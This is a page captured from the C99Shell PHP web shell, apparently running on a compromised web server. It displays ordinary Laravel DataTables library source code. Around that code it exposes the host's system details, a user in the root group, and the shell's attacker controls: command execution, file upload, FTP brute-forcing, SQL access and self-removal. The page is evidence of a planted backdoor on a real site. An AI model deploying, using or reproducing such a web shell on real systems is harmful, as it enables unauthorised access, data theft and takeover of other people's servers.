!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/yajra/laravel-datatables-oracle/src/   drwxr-xr-x
Free 28.53 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DataTablesServiceProvider.php (2.08 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Yajra\DataTables;

use 
Illuminate\Support\ServiceProvider;
use 
Illuminate\Support\Str;
use 
Yajra\DataTables\Utilities\Config;
use 
Yajra\DataTables\Utilities\Request;

class 
DataTablesServiceProvider extends ServiceProvider
{
    
/**
     * Register the service provider.
     *
     * @return void
     */
    
public function register()
    {
        if (
$this->isLumen()) {
            require_once 
'lumen.php';
        }

        
$this->setupAssets();

        
$this->app->alias('datatables'DataTables::class);
        
$this->app->singleton('datatables', function () {
            return new 
DataTables;
        });

        
$this->app->singleton('datatables.request', function () {
            return new 
Request;
        });

        
$this->app->singleton('datatables.config'Config::class);
    }

    
/**
     * Boot the instance, add macros for datatable engines.
     *
     * @return void
     */
    
public function boot()
    {
        
$engines = (array) config('datatables.engines');
        foreach (
$engines as $engine => $class) {
            
$engine Str::camel($engine);

            if (! 
method_exists(DataTables::class, $engine) && ! DataTables::hasMacro($engine)) {
                
DataTables::macro($engine, function () use ($class) {
                    if (! 
call_user_func_array([$class'canCreate'], func_get_args())) {
                        throw new 
\InvalidArgumentException();
                    }

                    return 
call_user_func_array([$class'create'], func_get_args());
                });
            }
        }
    }

    
/**
     * Setup package assets.
     *
     * @return void
     */
    
protected function setupAssets()
    {
        
$this->mergeConfigFrom($config __DIR__ '/config/datatables.php''datatables');

        if (
$this->app->runningInConsole()) {
            
$this->publishes([$config => config_path('datatables.php')], 'datatables');
        }
    }

    
/**
     * Check if app uses Lumen.
     *
     * @return bool
     */
    
protected function isLumen()
    {
        return 
Str::contains($this->app->version(), 'Lumen');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--